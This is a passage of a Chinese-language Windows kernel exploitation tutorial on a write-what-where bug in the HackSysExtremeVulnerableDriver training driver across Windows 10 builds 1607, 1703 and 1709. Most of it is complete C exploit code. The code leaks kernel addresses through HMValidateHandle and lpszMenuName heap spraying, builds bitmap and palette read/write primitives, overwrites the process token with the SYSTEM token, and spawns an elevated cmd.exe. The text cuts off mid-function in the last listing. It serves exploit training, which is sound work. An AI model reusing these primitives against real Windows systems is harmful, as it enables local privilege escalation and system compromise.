    readOOB(hManagerbitmap, hWorkerbitmap, (DWORD64)pLiveFunctionAddress, &systemEprocessAddr, sizeof(DWORD64));

    readOOB(hManagerbitmap, hWorkerbitmap, (systemEprocessAddr + 0x358), &lpSystemToken, sizeof(DWORD64));

    printf("system eprocess addr: 0x%p\n", systemEprocessAddr);

    // _eprocess + 0x0f8 是 token   0x358
    // _eprocess + 0x0B8 是 ActiveProcessLinks.Flink    0x2f0
    // _eprocess + 0x0b4 是 processid   0x2e8
    // 获取当前进程的 _eprocess
    DWORD64 lpNextEPROCESS = 0;
    LPVOID lpCurrentPID = NULL;
    DWORD64 dwCurrentPID;
    LIST_ENTRY lpNextEntryAddreess = { 0 };
    DWORD64 currentProcessID = GetCurrentProcessId();   // 通过PID判断是否获取到当前进程的地址
    readOOB(hManagerbitmap, hWorkerbitmap, systemEprocessAddr + 0x2f0, &lpNextEntryAddreess, sizeof(LIST_ENTRY));

    do  // 根据PID是否找到当前进程 
    {
        // 获取下一个进程
        lpNextEPROCESS = (DWORD64)((PUCHAR)lpNextEntryAddreess.Flink - 0x2f0);
        // 获取PID
        readOOB(hManagerbitmap, hWorkerbitmap, lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID));
        dwCurrentPID = LOWORD(lpCurrentPID);
        readOOB(hManagerbitmap, hWorkerbitmap, lpNextEPROCESS + 0x2f0, &lpNextEntryAddreess, sizeof(LIST_ENTRY));
    } while (dwCurrentPID != currentProcessID);

    DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
    writeOOB(hManagerbitmap, hWorkerbitmap, currentTokenAddress, lpSystemToken, sizeof(LPVOID));

    //system("whoami\n");
    CreateCmd();
    system("pause");

    CloseHandle(hManagerbitmap);
    CloseHandle(hWorkerbitmap);

    return 0;
}

可以看到最后是成功了的.

最后我们总结一下RS1在WWW下的利用.
1.创建两个bitmap对象
2.利用 AcceleratorTables 间接获得pvScan0的地址(level up)
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token
还有个要注意的地方就是nSize的大小和 CreateBitmap 的参数有一个对应关系,关系不对的话也是不能成功的.因为我这里是直接用的别人的数据,没仔细研究过,不过后来这个坑让我在1709也就是RS3踩到了.后面我会讲我是怎么踩到坑以及如何解决的.如果你想了解更多的话,请参考这里

 

0x05:RS2(win10_x64_1703)下的WWW

由前面的RS1下的WWW我们得知利用 AcceleratorTables 间接获得pvScan0的地址的绕过手段在RS2下被kill掉了.那么在RS2下我们的WWW漏洞又该如何利用呢?上图

通过图片我们可以看到我们能通过WNDCLASSEX.lpszMenuName泄露pvScan0的地址.那么什么是WNDCLASSEX.lpszMenuName呢?上图

图片来源
这是CVE-2018-8453中的一段代码.我们只需要关注我箭头所指向的内容就好.
那么问题来了,我们怎么利用 WNDCLASSEX.lpszMenuName 泄露pvScan0的地址呢?
这里我们通过设置lpszMenuName的大小,释放掉,然后创建bitmap对象,如果bitmap申请到了对应的pool,那么我们就间接获得了pvScan0的地址.这里我也是用的别人的数据.

        char buf[0x8f0];
        memset(buf, 0x41, 0x8f0);
        WNDCLASSEX wndclass = { 0x0 };
        wndclass.cbSize = sizeof(wndclass);
        wndclass.lpszClassName = TEXT("case");
        wndclass.lpszMenuName = buf;
        wndclass.lpfnWndProc = DefWindowProc;
        ......
        hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff);
        hbmp.kAddr = curr;//这是leak的lpszMenuName地址,有个判断当前申请的是否是前一个申请的
        hbmp.pvScan0 = (PUCHAR)(curr + 0x50);

我们现在知道了我们怎么通过lpszMenuName找pvScan0的地址,那么问题来了,我们怎么获得lpszMenuName的地址呢?
我们可以使用HMValidateHandle()函数,该函数有两个参数,参数1为传入的Windows Object句柄,参数2为句柄属性,该函数会返回查找Windows Object结构在用户态映射下的地址(用户态桌面堆).然后再通过一系列的偏移找到lpszMenuName的地址.
其中HMValidateHandle( )这个函数可以通过硬编码得到.硬编码的知识我不是很了解,不过我记得<滴水逆向三期视频>里有相关的内容,有兴趣的同学可以自己去了解下…
其他的没什么好说的了.exp贴贴:

#include<stdio.h>
#include<Windows.h>

typedef struct _hBmp
{
    HBITMAP hBmp;
    DWORD64 kAddr;
    PUCHAR pvScan0;
}HBMP, * PHBMP;

typedef void* (NTAPI* lHMValidateHandle)(HWND h, int type);

typedef struct _payload {
    PULONG_PTR what;
    PULONG_PTR where;
} Payload, * PPayload;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemModuleInformation = 11,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG NumberOfModules;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

HANDLE hDevice = NULL;
HBMP workerBmp;
HBMP managerBmp;
lHMValidateHandle pHmValidateHandle = NULL;
DWORD64 UserKernelDesktopHeap = 0;
DWORD64 kernelDesktopHeap = 0;
DWORD64 ulClientDelta = 0;




BOOL init()
{
    printf("[+]Start to get HANDLE");
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf(" => done!\n");
    return TRUE;
}

static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

BOOL FindHMValidateHandle() {
    HMODULE hUser32 = LoadLibraryA("user32.dll");
    if (hUser32 == NULL) {
        printf("Failed to load user32");
        return FALSE;
    }

    BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
    if (pIsMenu == NULL) {
        printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
        return FALSE;
    }
    unsigned int uiHMValidateHandleOffset = 0;
    for (unsigned int i = 0; i < 0x1000; i++) {
        BYTE* test = pIsMenu + i;
        if (*test == 0xE8) {
            uiHMValidateHandleOffset = i + 1;
            break;
        }
    }
    if (uiHMValidateHandleOffset == 0) {
        printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
        return FALSE;
    }

    unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
    unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
    //The +11 is to skip the padding bytes as on Windows 10 these aren't nops
    pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
    printf("[+]HMValidateHandle address is : 0x%p\n", pHmValidateHandle);
    return TRUE;
}

DWORD64 leakBitmap()
{
    /*
    *[+]Get Client Delta
    */
    printf("[+]Start to get Client Delta");

    DWORD64 tebBase = (DWORD64)NtCurrentTeb();

    UserKernelDesktopHeap = *(PDWORD64)(tebBase + 0x828);

    kernelDesktopHeap = *(PDWORD64)(UserKernelDesktopHeap + 0x28);

    ulClientDelta = kernelDesktopHeap - UserKernelDesktopHeap;

    printf(" => done!\n");

    printf("[+]Client Delta address is 0x%p\n", ulClientDelta);

    return 0;
}

DWORD64 leakWnd(HWND leakWnd)
{
    /*
    *[+]Leak Wnd address
    */
    PDWORD64 buffer = (PDWORD64)UserKernelDesktopHeap;

    DWORD i = 0;
    while (1)
    {
        if (buffer[i] == (DWORD64)leakWnd)
        {
            printf("[+]Wnd address is 0x%p\n", (DWORD64)(buffer + i));
            return (DWORD64)(buffer + i);
        }
        i++;
    }

}

DWORD64 lpszMenuName(HWND hwnd)
{
    leakBitmap();

    DWORD64 wndaddr = leakWnd(hwnd);

    DWORD64 kernelTagCls = *(PDWORD64)(wndaddr + 0xa8);

    DWORD64 lpszNamemenuAddr = *(PDWORD64)(kernelTagCls - ulClientDelta + 0x90);

    printf("[+]kernel address lpszMenuName at: 0x%p\n", lpszNamemenuAddr);

    return lpszNamemenuAddr;
}

HBMP leak()
{
    HBMP hbmp = { 0x0 };
    DWORD64 curr = 0;
    DWORD64 prev = 1;
    /*
    *[+]Heap spray biu biu biu ~
    */
    for (int i = 0; i < 0x700; i++)
    {
        char buf[0x8f0];
        memset(buf, 0x41, 0x8f0);
        WNDCLASSEX wndclass = { 0x0 };
        wndclass.cbSize = sizeof(wndclass);
        wndclass.lpszClassName = TEXT("case");
        wndclass.lpszMenuName = buf;
        wndclass.lpfnWndProc = DefWindowProc;
        int result = RegisterClassExA(&wndclass);

        if (!result)
        {
            printf("RegisterClassEx error: %d\r\n", GetLastError());
        }

        HWND test = CreateWindowExA(
            0,
            wndclass.lpszClassName,
            TEXT("WORDS"),
            0,
            CW_USEDEFAULT,
            CW_USEDEFAULT,
            CW_USEDEFAULT,
            CW_USEDEFAULT,
            NULL, NULL, NULL, NULL);
        curr = lpszMenuName(test);

        /*
        *[+]If they are equal, we can get a stable address :)
        */
        if (curr == prev)
        {
            DestroyWindow(test);
            UnregisterClassA(wndclass.lpszClassName, NULL);
            WCHAR* Buff = (WCHAR*)malloc(sizeof(WCHAR) * 0x50 * 2 * 4);
            RtlSecureZeroMemory(Buff, 0x50 * 2 * 4);
            RtlFillMemory(Buff, 0x50 * 2 * 4, '\x41');
            hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff);
            hbmp.kAddr = curr;
            hbmp.pvScan0 = (PUCHAR)(curr + 0x50);
            printf("hbmp.pvScan0 address --->  %p", hbmp.pvScan0);

            return hbmp;
        }

        DestroyWindow(test);
        UnregisterClassA(wndclass.lpszClassName, NULL);
        prev = curr;
    }
    return hbmp;
}

typedef struct _WRITE_WHAT_WHERE {
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;



VOID Leak_Trigger()
{
    /*
    *[+]Step1:Get HMValidateHandle address
    */
    BOOL bFound = FindHMValidateHandle();
    if (!bFound) {
        printf("Failed to locate HmValidateHandle, exiting\n");
        return;
    }

    /*
    *[+]Step2:Define window
    */
    WNDCLASSEX wnd = { 0x0 };
    wnd.cbSize = sizeof(wnd);
    wnd.lpszClassName = TEXT("MainWClass");
    wnd.lpszMenuName = TEXT("AAAAA");
    wnd.lpfnWndProc = DefWindowProc;
    int result = RegisterClassEx(&wnd);
    if (!result)
    {
        printf("RegisterClassEx error: %d\r\n", GetLastError());
    }

    /*
    *[+]Step3:Create window
    */
    HWND test = CreateWindowEx(
        0,
        wnd.lpszClassName,
        TEXT("WORDS"),
        0,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        NULL, NULL, NULL, NULL);

    /*
    *[+]Step4:Compute address of Bitmap
    */
    managerBmp = leak();
    workerBmp = leak();

    printf("[+]ManagerBmp address leak pvScan0 at: 0x%p\n", managerBmp.pvScan0);
    printf("[+]WorkerBmp address leak pvScan0 at: 0x%p\n", workerBmp.pvScan0);

    /*
    *[+]Step5:You know it => Write What Where
    */
    PPayload payload = NULL;
    payload = (PPayload)HeapAlloc(GetProcessHeap(),
        HEAP_ZERO_MEMORY,
        sizeof(Payload));
    payload->what = (PULONG_PTR)&workerBmp.pvScan0;
    payload->where = (PULONG_PTR)managerBmp.pvScan0;
    DWORD BytesReturned = 0;
    DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);

}

VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len)
{
    SetBitmapBits(managerBmp.hBmp, len, &whereRead);
    GetBitmapBits(workerBmp.hBmp, len, whatValue);    // read
}

VOID writeOOB(DWORD64 whereWrite, LPVOID whatValue, int len)
{
    SetBitmapBits(managerBmp.hBmp, len, &whereWrite);
    SetBitmapBits(workerBmp.hBmp, len, &whatValue);    // write
}

DWORD64 stealToken()
{
    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
    {
        printf("[+]Failed to get NtQuerySystemInformation\n");
        return NULL;
    }

    DWORD len;

    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

    PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!moduleInfo)
    {
        printf("[+]Failed to get moduleInfo\n");
        return NULL;
    }

    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);

    LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
    LPVOID kernelImage = moduleInfo->Module[0].FullPathName;
    printf("[+]kernel base address is at: 0x%p\n", kernelBase);

    LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
    printf("[+]kernel name is: %s\n", lpkernelName);

    HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);

    if (hUserSpacekernel == NULL)
    {
        VirtualFree(moduleInfo, 0, MEM_RELEASE);
        return NULL;
    }

    FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");

    if (pUserKernelSymbol == NULL)
    {
        VirtualFree(moduleInfo, 0, MEM_RELEASE);
        return NULL;
    }

    FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);

    FreeLibrary(hUserSpacekernel);
    VirtualFree(moduleInfo, 0, MEM_RELEASE);

    LPVOID lpSystemEPROCESS = NULL;
    LPVOID lpSysProcID = NULL;
    LPVOID lpSystemToken = NULL;
    LIST_ENTRY lpNextEntryAddreess;
    readOOB((DWORD64)pLiveFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID));
    readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2e8), &lpSysProcID, sizeof(LPVOID));
    readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x358), &lpSystemToken, sizeof(LPVOID));
    readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));

    printf("[+]system process address is: 0x%p\n", lpSystemEPROCESS);
    printf("[+]Next Process AT: 0x%p\n", lpNextEntryAddreess.Flink);
    printf("[+]system process token value is: 0x%p\n", lpSystemToken);
    printf("[+]system process PID is: 0x%p\n", lpSysProcID);

    DWORD64 currentProcessID = GetCurrentProcessId();

    LPVOID lpNextEPROCESS = NULL;
    LPVOID lpCurrentPID = NULL;
    LPVOID lpCurrentToken = NULL;
    DWORD dwCurrentPID;
    do
    {
        lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2e8;
        readOOB((DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e0), &lpCurrentPID, sizeof(LPVOID));
        dwCurrentPID = LOWORD(lpCurrentPID);
        readOOB((DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e8), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
    } while (dwCurrentPID != currentProcessID);

    DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
    printf("[+]Start to write token");
    writeOOB(currentTokenAddress, lpSystemToken, sizeof(LPVOID));
    printf(" => done!\n");
}

int main() {
    init();
    Leak_Trigger();

    stealToken();

    CreateCmd();
    system("pause");
    return 0;
}

可以看到最后我们是成功提权了的.

最后总结一下利用过程:
1.通过WNDCLASSEX.lpszMenuName找到将要创建的bitmap对象的pvScan0地址(level up)
2.创建bitmap对象并对应到pvScan0的地址.(level up)
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token

 

0x06:RS3(WIN10_X64_1709)下的WWW

嗯,不出所料的,RS2下的利用手段在RS3下被kill掉了.然后k0shl师傅提出了一种新的利用手段.说实话,看不懂…
然后这里我要讲的是另外一种绕过技术,也是比较通用的技术—使用paltte进行读写.
话不多说,上图

其实这个和bitmap类似,其中第一个红框框代表的是第二个红框框指向的内容的大小,第二个红框框指向的内容可以进行读写.
这里进行读写使用的是SetPaletteEntries函数和GetPaletteEntries函数.
其他的和RS2下的WWW漏洞利用一样,改一下偏移等数据就好.
然后这里我copy的k0shl师傅的代码,发现行不通,像这样

但是k0shl师傅的exe是可以成功提权的.
后来经过分析发现,是没有申请到对应的 lpszMenuName 所导致的.我直接这么说可能难以理解.上图

如图,如果不成功的话,!pool出来的是 Ustx,而且是free状态.然后成功了的话是这样的

!pool出来的是 Gh08,而且是Allocated状态.(那个*打不出来)
然后提一下我是怎么定位到关键数据的.
最开始我是根据输出定位到Worker_Palette的,然后意识到可能是palette出了问题,然后网上查找palette相关的内容,然后我找到了晏子霜师傅的CVE-2018-8453分析,用其中palette相关的内容leak成功.然后打算加入到我的代码中来,结果发现程序一调用CreatePalette函数就崩溃,也不知道为什么会崩溃,最后我尝试用k0shl师傅的代码改size大小,成功了.当然直接在k0shl师傅的exploit里改size大小是会崩溃的.
代码贴贴:

#include<stdio.h>
#include<Windows.h>

#define HACKSYS_EVD_IOCTL_ARBITRARY_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0X802, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef void* (NTAPI* lHMValidateHandle)(HWND h, int type);

typedef struct _WRITE_WHAT_WHERE {
    PULONG_PTR What;
    PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;

PVOID IsMenu_Address = NULL, HMValidateHandle_Address = NULL;

typedef HWND(__fastcall* My_HMValidateHandle)(
    HWND        Window,
    ULONG        Number
    );

My_HMValidateHandle HMValidateHandle = NULL;

LOGPALETTE* Palette = NULL;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemModuleInformation = 11,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    HANDLE Section;
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG NumberOfModules;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _HEAD
{
    HANDLE h;
    DWORD  cLockObj;
} HEAD, * PHEAD;

typedef struct _THROBJHEAD
{
    HEAD h;
    PVOID pti;
} THROBJHEAD, * PTHROBJHEAD;

typedef struct _G_PALETTE
{
    HPALETTE _hpalette;
    DWORD64 _kobj_palette;
    DWORD flag;
} GPALETTE, * PGPALETTE;

typedef struct _THRDESKHEAD
{
    THROBJHEAD h;
    PVOID    rpdesk;
    PVOID       pSelf;   // points to the kernel mode address
} THRDESKHEAD, * PTHRDESKHEAD;


PWRITE_WHAT_WHERE WriteWhatWhere = NULL;
HANDLE hDevice = NULL;
lHMValidateHandle pHmValidateHandle = NULL;
PGPALETTE Worker_Palette;
PGPALETTE Manager_Palette;
DWORD BytesReturned = 0;


static VOID CreateCmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

BOOL init()
{
    printf("[+]Start to get HANDLE");
    // Get HANDLE
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        return FALSE;
    }
    printf("Create HEVD Device Success,Handle at: 0x%p\n", hDevice);
    return TRUE;
}



BOOL FindHMValidateHandle() {
    HMODULE hUser32 = LoadLibraryA("user32.dll");
    if (hUser32 == NULL) {
        printf("Failed to load user32");
        return FALSE;
    }

    BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
    if (pIsMenu == NULL) {
        printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
        return FALSE;
    }
    unsigned int uiHMValidateHandleOffset = 0;
    for (unsigned int i = 0; i < 0x1000; i++) {
        BYTE* test = pIsMenu + i;
        if (*test == 0xE8) {
            uiHMValidateHandleOffset = i + 1;
            break;
        }
    }
    if (uiHMValidateHandleOffset == 0) {
        printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
        return FALSE;
    }

    unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
    unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
    //The +11 is to skip the padding bytes as on Windows 10 these aren't nops
    pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
    printf("[+]HMValidateHandle address is : 0x%p\n", pHmValidateHandle);
    return TRUE;
}


HPALETTE createPaletteofSize(int size) {
    // we alloc a palette which will have the specific size on the paged session pool. 
    if (size <= 0x90) {
        printf("Bad size! can't allocate palette of size < 0x90!");
        return 0;
    }
    int pal_cnt = (size - 0x90) / 4;
    int palsize = sizeof(LOGPALETTE) + (static_cast<__int64>(pal_cnt) - 1) * sizeof(PALETTEENTRY);
    LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize);
    printf("palsize      -->%llX\n", palsize);
    printf("lPalette   address   =======>%p\n", lPalette);
    memset(lPalette, 0x66, palsize);

    lPalette->palNumEntries = pal_cnt;
    printf("lPalette->palNumEntries  %llX\n", lPalette->palNumEntries);
    lPalette->palVersion = 0x300;
    printf("lPalette->palVersion %llX\n", lPalette->palVersion);
    //__debugbreak();
    return CreatePalette(lPalette);
}

VOID readOOB(HPALETTE worker_palette, HPALETTE manager_palette, DWORD64* target_address, BYTE* data, int size) {
    if (!manager_palette || !worker_palette) {
        printf("Palettes not initialized yet!");
        /*return 0;*/
    }
    // overflow into worker_palette to set values
    SetPaletteEntries(manager_palette, 0, sizeof(PVOID) / sizeof(PALETTEENTRY), (PALETTEENTRY*)&target_address);

    // trigger GetPaletteEntries on worker_palette to read the actual data
    // return actual amount of bytes read (*4), not amount of palette entries read
    //__debugbreak();
    GetPaletteEntries(worker_palette, 0, size / sizeof(PALETTEENTRY), (PALETTEENTRY*)data);
}

int writeOOB(HPALETTE worker_palette, HPALETTE manager_palette, UINT64 target_address, BYTE* data, int size) {
    if (!manager_palette || !worker_palette) {
        printf("Palettes not initialized yet!\n");
        return 0;
    }

    // overflow into worker_palette to set values
    SetPaletteEntries(manager_palette, 0, sizeof(PVOID) / sizeof(PALETTEENTRY), (PALETTEENTRY*)&target_address);

    // trigger SetPaletteEntries on worker_palette to write the actual data
    // return actual amount of bytes written (*4), not amount of palette entries written
    return SetPaletteEntries(worker_palette, 0, size / sizeof(PALETTEENTRY), (PALETTEENTRY*)data);
}

PVOID Find_Functions(LPCSTR Dll_Name, LPCSTR F_Name) {
    HMODULE Dll_HMODULE = NULL;
    PVOID F_Address = NULL;
    Dll_HMODULE = LoadLibraryA(Dll_Name);
    if (Dll_HMODULE == NULL) {
        printf("%s Find Error!\n", Dll_Name);
        return NULL;
    }
    printf("Address(%s):0x%p\n", Dll_Name, Dll_HMODULE);
    F_Address = GetProcAddress(Dll_HMODULE, F_Name);
    if (F_Address == NULL) {
        printf("Function(%s) Find Error!\n", F_Name);
        return NULL;
    }
    printf("Address(%s):0x%p\n", F_Name, F_Address);

    return F_Address;
}

PVOID Find_HMValidateHandle(PVOID IsMenu_Address) {
    ULONG64 HMV_Adr = 0;
    while (1) {
        if (*(char*)IsMenu_Address == '\xE8') {

            HMV_Adr = *(ULONG*)((ULONG64)IsMenu_Address + 1);

            HMV_Adr += (ULONG64)IsMenu_Address + 0x05 - 0x100000000;

            return (PVOID)HMV_Adr;
        }
        IsMenu_Address = (char*)IsMenu_Address + 1;
    }

    return 0;
}

ULONG64 PEB = NULL, fnDWORD_Address = NULL, To_Where_A_Palette = NULL, ulClientDelta = NULL;

DWORD64 lpszMenuName(HWND hwnd) {

    IsMenu_Address = Find_Functions("user32.dll", "IsMenu");
    HMValidateHandle_Address = Find_HMValidateHandle(IsMenu_Address);
    printf("HMValidateHandle Address(0x%p)\n", HMValidateHandle_Address);
    HMValidateHandle = (My_HMValidateHandle)HMValidateHandle_Address;
    ULONG64 tagWND = (ULONG64)HMValidateHandle(hwnd, 0x01);
    ulClientDelta = (ULONG64)((*(ULONG64*)(tagWND + 0x20)) - (ULONG64)tagWND);
    DWORD64 KerneltagCLS = (*(ULONG64*)(tagWND + 0xa8)) - ulClientDelta;
    DWORD64 lpszMenuNameA = *(ULONG64*)(KerneltagCLS + 0x98);
    printf("lpszMenuNameA_address   %llX\n", lpszMenuNameA);
    return lpszMenuNameA;
}

PGPALETTE CreatePaletteInHole()
{
    printf("aaaaaa\n");
    PGPALETTE pgpalette = (PGPALETTE)malloc(sizeof(PGPALETTE));
    TCHAR st[0x68];
    WNDCLASSEX Class2 = { 0 };
    DWORD64 lpszMenuNameB = 0x666;
    memset(st, 0x66, sizeof(st));
    Class2.lpfnWndProc = DefWindowProc;
    Class2.lpszClassName = TEXT("k0shl");
    Class2.lpszMenuName = st;
    Class2.cbSize = sizeof(WNDCLASSEX);
    DWORD dwcount = 0;
    for (int i = 0; i < 0x666; i++)
    {
        int result = RegisterClassEx(&Class2);
        if (!result)
        {
            printf("RegisterClassEx error: %d\n", GetLastError());
            exit(-1);
        }
        //Int_3();
        HWND test = CreateWindowEx(
            0,
            Class2.lpszClassName,//wnd.lpszClassName,
            TEXT("WORDS"),
            0,
            CW_USEDEFAULT,
            CW_USEDEFAULT,
            CW_USEDEFAULT,
            CW_USEDEFAULT,
            NULL, NULL, NULL, NULL);
        //Int_3();
        PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(test, 1);
        //Int_3();
        DWORD64 KerneltagWND = (DWORD64)(tagWND->pSelf);
        DWORD64 UsertagWND = (DWORD64)tagWND;
        //Int_3();
        DWORD64 ulClientDelta = KerneltagWND - UsertagWND;
        DWORD64 KerneltagCLS = *(PDWORD64)(UsertagWND + 0xa8);
        DWORD64 lpszMenuNameA = *(PDWORD64)(KerneltagCLS - ulClientDelta + 0x98);
        printf("lpszMenuNameA address  --->%llX\n", lpszMenuNameA);
        if (lpszMenuNameB == lpszMenuNameA)
        {
            __debugbreak();
            DestroyWindow(test);
            //createPaletteofSize(0x190);
            UnregisterClass(Class2.lpszClassName, NULL);
            //Int_3();
            __debugbreak();
            pgpalette->_hpalette = (HPALETTE)createPaletteofSize(0x100);
            printf("pgpalette->hpalette  %p\n", pgpalette->_hpalette);
            pgpalette->_kobj_palette = lpszMenuNameA;
            pgpalette->flag = 1;
            printf("success!!!!!\n");
            __debugbreak();
            return pgpalette;
        }
        DestroyWindow(test);
        //createPaletteofSize(0x190);
        UnregisterClass(Class2.lpszClassName, NULL);
        lpszMenuNameB = lpszMenuNameA;
        printf("lpszMenuNameB_address ===>%llX\n", lpszMenuNameB);

    }
    return 0;
}

DWORD64 stealToken()
{
    _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
    if (NtQuerySystemInformation == NULL)
    {
        printf("[+]Failed to get NtQuerySystemInformation\n");
        return NULL;
    }

    DWORD len;

    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

